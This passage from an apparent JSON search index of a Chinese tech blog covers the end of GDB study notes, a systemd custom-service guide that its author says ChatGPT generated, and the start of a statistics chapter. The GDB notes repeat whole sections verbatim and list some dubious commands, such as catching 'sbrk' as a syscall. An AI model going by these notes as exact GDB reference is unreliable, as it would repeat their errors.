threads\u003c/code\u003e命令查看当前线程列表,找到\u003ccode\u003ethread2\u003c/code\u003e的ID。假设\u003ccode\u003ethread2\u003c/code\u003e的ID为2,使用\u003ccode\u003ethread 2\u003c/code\u003e命令切换到\u003ccode\u003ethread2\u003c/code\u003e,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread 2\u003c/code\u003e命令在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。完成后,使用\u003ccode\u003econtinue\u003c/code\u003e命令继续执行程序,程序会在断点处停止。\u003c/p\u003e\u003ch3 id=\"远程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"远程调试\"\u003e\u003c/a\u003e远程调试\u003c/h3\u003e\u003cp\u003eGDB支持远程调试,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到远程主机,使用\u003ccode\u003efile \u0026lt;path\u0026gt;\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试核心转储文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%A0%B8%E5%BF%83%E8%BD%AC%E5%82%A8%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"调试核心转储文件\"\u003e\u003c/a\u003e调试核心转储文件\u003c/h3\u003e\u003cp\u003e当程序崩溃时,可以使用GDB调试核心转储文件。可以使用\u003ccode\u003ecore \u0026lt;file\u0026gt;\u003c/code\u003e命令加载核心转储文件,使用\u003ccode\u003ebt\u003c/code\u003e命令查看函数调用栈。\u003c/p\u003e\u003ch3 id=\"调试动态链接库\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93\" class=\"headerlink\" title=\"调试动态链接库\"\u003e\u003c/a\u003e调试动态链接库\u003c/h3\u003e\u003cp\u003eGDB可以调试动态链接库,可以使用\u003ccode\u003eset solib-search-path \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库搜索路径,使用\u003ccode\u003einfo sharedlibrary\u003c/code\u003e查看已加载的动态链接库,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在动态链接库中设置断点。\u003c/p\u003e\u003ch3 id=\"调试汇编代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"调试汇编代码\"\u003e\u003c/a\u003e调试汇编代码\u003c/h3\u003e\u003cp\u003eGDB可以调试汇编代码,可以使用\u003ccode\u003elayout asm\u003c/code\u003e查看汇编代码窗口,使用\u003ccode\u003estepi\u003c/code\u003e单步执行汇编指令,使用\u003ccode\u003edisassemble \u0026lt;func\u0026gt;\u003c/code\u003e查看函数的汇编代码。\u003c/p\u003e\u003ch3 id=\"调试嵌入式系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"调试嵌入式系统\"\u003e\u003c/a\u003e调试嵌入式系统\u003c/h3\u003e\u003cp\u003eGDB可以调试嵌入式系统,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到嵌入式系统,使用\u003ccode\u003eset remotebaud \u0026lt;baud\u0026gt;\u003c/code\u003e设置串口波特率,使用\u003ccode\u003emonitor reset\u003c/code\u003e复位嵌入式系统,使用\u003ccode\u003eload\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试内核\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%86%85%E6%A0%B8\" class=\"headerlink\" title=\"调试内核\"\u003e\u003c/a\u003e调试内核\u003c/h3\u003e\u003cp\u003eGDB可以调试内核,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到内核,使用\u003ccode\u003eset architecture \u0026lt;arch\u0026gt;\u003c/code\u003e设置架构,使用\u003ccode\u003eset osabi \u0026lt;osabi\u0026gt;\u003c/code\u003e设置操作系统ABI,使用\u003ccode\u003eset solib-absolute-prefix \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库路径,使用\u003ccode\u003eadd-symbol-file \u0026lt;file\u0026gt; \u0026lt;addr\u0026gt;\u003c/code\u003e加载符号文件,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在内核中设置断点。\u003c/p\u003e\u003ch3 id=\"调试追踪系统调用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8\" class=\"headerlink\" title=\"调试追踪系统调用\"\u003e\u003c/a\u003e调试追踪系统调用\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪系统调用,可以使用\u003ccode\u003ecatch syscall \u0026lt;syscall\u0026gt;\u003c/code\u003e设置系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看系统调用断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行系统调用。\u003c/p\u003e\u003ch3 id=\"调试追踪信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"调试追踪信号\"\u003e\u003c/a\u003e调试追踪信号\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号,可以使用\u003ccode\u003ecatch signal \u0026lt;signal\u0026gt;\u003c/code\u003e设置信号断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行信号处理函数。\u003c/p\u003e\u003ch3 id=\"调试追踪fork和exec\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AAfork%E5%92%8Cexec\" class=\"headerlink\" title=\"调试追踪fork和exec\"\u003e\u003c/a\u003e调试追踪fork和exec\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪fork和exec,可以使用\u003ccode\u003eset follow-fork-mode \u0026lt;mode\u0026gt;\u003c/code\u003e设置fork和exec的跟踪模式,使用\u003ccode\u003ecatch fork\u003c/code\u003e设置fork断点,使用\u003ccode\u003ecatch exec\u003c/code\u003e设置exec断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看fork和exec断点。\u003c/p\u003e\u003ch3 id=\"调试追踪动态内存分配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%8A%A8%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"调试追踪动态内存分配\"\u003e\u003c/a\u003e调试追踪动态内存分配\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪动态内存分配,可以使用\u003ccode\u003ecatch syscall brk\u003c/code\u003e设置brk系统调用断点,使用\u003ccode\u003ecatch syscall sbrk\u003c/code\u003e设置sbrk系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看brk和sbrk断点。\u003c/p\u003e\u003ch3 id=\"调试追踪文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪文件操作\"\u003e\u003c/a\u003e调试追踪文件操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪文件操作,可以使用\u003ccode\u003ecatch syscall open\u003c/code\u003e设置open系统调用断点,使用\u003ccode\u003ecatch syscall close\u003c/code\u003e设置close系统调用断点,使用\u003ccode\u003ecatch syscall read\u003c/code\u003e设置read系统调用断点,使用\u003ccode\u003ecatch syscall write\u003c/code\u003e设置write系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看文件操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪网络操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%BD%91%E7%BB%9C%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪网络操作\"\u003e\u003c/a\u003e调试追踪网络操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪网络操作,可以使用\u003ccode\u003ecatch syscall socket\u003c/code\u003e设置socket系统调用断点,使用\u003ccode\u003ecatch syscall connect\u003c/code\u003e设置connect系统调用断点,使用\u003ccode\u003ecatch syscall accept\u003c/code\u003e设置accept系统调用断点,使用\u003ccode\u003ecatch syscall send\u003c/code\u003e设置send系统调用断点,使用\u003ccode\u003ecatch syscall recv\u003c/code\u003e设置recv系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看网络操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"调试追踪信号处理\"\u003e\u003c/a\u003e调试追踪信号处理\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号处理,可以使用\u003ccode\u003ecatch syscall sigaction\u003c/code\u003e设置sigaction系统调用断点,使用\u003ccode\u003ecatch syscall sigprocmask\u003c/code\u003e设置sigprocmask系统调用断点,使用\u003ccode\u003ecatch syscall sigsuspend\u003c/code\u003e设置sigsuspend系统调用断点,使用\u003ccode\u003ecatch syscall sigreturn\u003c/code\u003e设置sigreturn系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号处理断点。\u003c/p\u003e\u003ch3 id=\"调试追踪定时器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"调试追踪定时器\"\u003e\u003c/a\u003e调试追踪定时器\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪定时器,可以使用\u003ccode\u003ecatch syscall timer_create\u003c/code\u003e设置timer_create系统调用断点,使用\u003ccode\u003ecatch syscall timer_settime\u003c/code\u003e设置timer_settime系统调用断点,使用\u003ccode\u003ecatch syscall timer_gettime\u003c/code\u003e设置timer_gettime系统调用断点,使用\u003ccode\u003ecatch syscall timer_delete\u003c/code\u003e设置timer_delete系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看定时器断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程状态\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"调试追踪进程状态\"\u003e\u003c/a\u003e调试追踪进程状态\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程状态,可以使用\u003ccode\u003ecatch syscall wait4\u003c/code\u003e设置wait4系统调用断点,使用\u003ccode\u003ecatch syscall waitpid\u003c/code\u003e设置waitpid系统调用断点,使用\u003ccode\u003ecatch syscall waitid\u003c/code\u003e设置waitid系统调用断点,使用\u003ccode\u003ecatch syscall exit\u003c/code\u003e设置exit系统调用断点,使用\u003ccode\u003ecatch syscall _exit\u003c/code\u003e设置_exit系统调用断点,使用\u003ccode\u003ecatch syscall kill\u003c/code\u003e设置kill系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程状态断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98-1\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1-1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Linux添加自定义服务","time":"2023-03-13T13:06:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e本文由chatGPT生成,看了下没啥问题\u003cbr/\u003e别问为啥不自己写,问就是懒(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在Linux中,您可以通过添加自定义服务文件来将自定义脚本作为服务启动。下面是添加自定义服务文件的一般步骤:\u003c/p\u003e\u003col\u003e\u003cli\u003e创建一个新的服务文件\u003cbr/\u003e在/etc/systemd/system目录中创建一个新的服务文件,文件名以.service结尾。例如,如果您想创建一个名为my-service的服务文件,可以使用以下命令:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo vi /etc/systemd/system/my-service.service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e编写服务文件\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在创建的服务文件中,至少需要包含以下三个部分:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[Unit]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDescription=My Custom Service\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAfter=network.target\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Service]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUser=root\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eType=simple\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExecStart=/path/to/my-script\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Install]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWantedBy=multi-user.target\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003cstrong\u003eUnit\u003c/strong\u003e部分包含服务的描述和启动顺序,\u003cstrong\u003eService\u003c/strong\u003e部分包含服务的用户、类型和执行命令,\u003cstrong\u003eInstall\u003c/strong\u003e部分包含服务的安装目标。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e重新加载systemd配置\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在编辑完服务文件后,需要重新加载systemd配置,以便它能够识别新的服务文件。可以使用以下命令重新加载systemd配置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl daemon-reload\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003e启动服务\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e您可以使用以下命令启动新创建的服务:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl start my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e将服务设置为开机启动\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e如果您希望系统在启动时自动启动新创建的服务,可以使用以下命令将其设置为开机启动:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,您已经成功添加了一个新的自定义服务,并且可以随时使用systemd管理该服务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9C%8D%E5%8A%A1/"},{"title":"第五章:数理统计初步","time":"2023-02-21T09:15:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这研究的是总体和来自总体的任意一组样本的关系。例如,如何通过样本估算总体的统计量这样的问题,就可以通过数理统计解决。\u003c/p\u003e\u003ch2 id=\"基本概念和定义\"\u003e\u003ca 